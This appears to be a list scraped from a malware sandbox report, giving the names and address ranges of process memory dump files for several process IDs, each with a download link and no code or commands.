memory/2036-330-0x00007FFD11690000-0x00007FFD116BD000-memory.dmp

Download

memory/2036-331-0x00007FFD12430000-0x00007FFD12449000-memory.dmp

Download

memory/2036-69-0x00007FFCFD1E0000-0x00007FFCFD700000-memory.dmp

Download

memory/2036-332-0x00007FFD10760000-0x00007FFD10783000-memory.dmp

Download

memory/2036-333-0x00007FFD0C410000-0x00007FFD0C587000-memory.dmp

Download

memory/2036-334-0x00007FFD120E0000-0x00007FFD120F9000-memory.dmp

Download

memory/2036-335-0x00007FFD0CEA0000-0x00007FFD0CED3000-memory.dmp

Download

memory/2036-70-0x000002D8444D0000-0x000002D8449F0000-memory.dmp

Download

memory/2036-71-0x00007FFD118B0000-0x00007FFD118BD000-memory.dmp

Download

memory/2036-337-0x00007FFD10740000-0x00007FFD10754000-memory.dmp

Download

memory/2036-72-0x00007FFD0CEA0000-0x00007FFD0CED3000-memory.dmp

Download

memory/2036-77-0x00007FFD118D0000-0x00007FFD118F3000-memory.dmp

Download

memory/2036-338-0x00007FFD118B0000-0x00007FFD118BD000-memory.dmp

Download

memory/2036-339-0x00007FFCFD1E0000-0x00007FFCFD700000-memory.dmp

Download

memory/2036-76-0x00007FFD0BDF0000-0x00007FFD0BF0C000-memory.dmp

Download

memory/2036-73-0x00007FFD10740000-0x00007FFD10754000-memory.dmp

Download

memory/2036-340-0x00007FFD0BDF0000-0x00007FFD0BF0C000-memory.dmp

Download

memory/2036-273-0x00007FFD120E0000-0x00007FFD120F9000-memory.dmp

Download

memory/2036-274-0x00007FFCFD1E0000-0x00007FFCFD700000-memory.dmp

Download

memory/2036-55-0x00007FFD118C0000-0x00007FFD118CD000-memory.dmp

Download

memory/2036-63-0x00007FFCFD700000-0x00007FFCFDCE9000-memory.dmp

Download

memory/2036-64-0x00007FFD0CBB0000-0x00007FFD0CC7D000-memory.dmp

Download

memory/2036-49-0x00007FFD0C410000-0x00007FFD0C587000-memory.dmp

Download

memory/2036-46-0x00007FFD10760000-0x00007FFD10783000-memory.dmp

Download

memory/2036-43-0x00007FFD12430000-0x00007FFD12449000-memory.dmp

Download

memory/2036-40-0x00007FFD11690000-0x00007FFD116BD000-memory.dmp

Download

memory/2036-94-0x00007FFD11690000-0x00007FFD116BD000-memory.dmp

Download

memory/2036-25-0x00007FFCFD700000-0x00007FFCFDCE9000-memory.dmp

Download

memory/2036-286-0x00007FFD0CBB0000-0x00007FFD0CC7D000-memory.dmp

Download

memory/2036-33-0x00007FFD15B00000-0x00007FFD15B0F000-memory.dmp

Download

memory/2036-287-0x000002D8444D0000-0x000002D8449F0000-memory.dmp

Download

memory/2036-336-0x00007FFD0CBB0000-0x00007FFD0CC7D000-memory.dmp

Download

memory/2036-312-0x00007FFCFD700000-0x00007FFCFDCE9000-memory.dmp

Download

memory/2036-311-0x000002D841B00000-0x000002D841BA3000-memory.dmp

Download

memory/2036-299-0x00007FFD0CEA0000-0x00007FFD0CED3000-memory.dmp

Download

memory/2716-260-0x0000013107490000-0x000001310762A000-memory.dmp

Download

memory/3020-246-0x00000202295A0000-0x00000202295B2000-memory.dmp

Download

memory/3020-245-0x000002020F7E0000-0x000002020F7EC000-memory.dmp

Download

memory/3328-166-0x00000262063E0000-0x000002620657A000-memory.dmp

Download

memory/3380-284-0x000001D33A4E0000-0x000001D33A583000-memory.dmp

Download

memory/3540-298-0x000001E669150000-0x000001E669162000-memory.dmp

Download

memory/3540-297-0x000001E669010000-0x000001E66901C000-memory.dmp

Download

memory/3884-289-0x000002AC6EEB0000-0x000002AC6F04A000-memory.dmp

Download

memory/3908-285-0x000002D292A80000-0x000002D292C1A000-memory.dmp

Download

memory/4012-165-0x0000023FF3100000-0x0000023FF311C000-memory.dmp

Download

memory/4012-168-0x0000023FF3140000-0x0000023FF315A000-memory.dmp

Download

memory/4012-151-0x0000023FF2F80000-0x0000023FF2F8A000-memory.dmp

Download

memory/4012-144-0x0000023FF2DC0000-0x0000023FF2E73000-memory.dmp

Download

memory/4012-143-0x0000023FF2DA0000-0x0000023FF2DBC000-memory.dmp

Download

memory/4012-179-0x0000023FF3120000-0x0000023FF3126000-memory.dmp

Download

memory/4012-207-0x0000023FF2D80000-0x0000023FF2D88000-memory.dmp

Download

memory/4012-205-0x0000023FF0BC0000-0x0000023FF0BCC000-memory.dmp

Download

memory/4012-206-0x0000023FF2A60000-0x0000023FF2A72000-memory.dmp

Download

memory/4012-180-0x0000023FF3130000-0x0000023FF313A000-memory.dmp

Download

memory/4012-177-0x0000023FF30F0000-0x0000023FF30F8000-memory.dmp

Download

memory/4372-259-0x000002923E5D0000-0x000002923E5E2000-memory.dmp

Download

memory/4372-257-0x000002923E2D0000-0x000002923E46A000-memory.dmp

Download

memory/4372-258-0x000002923E570000-0x000002923E57C000-memory.dmp

Download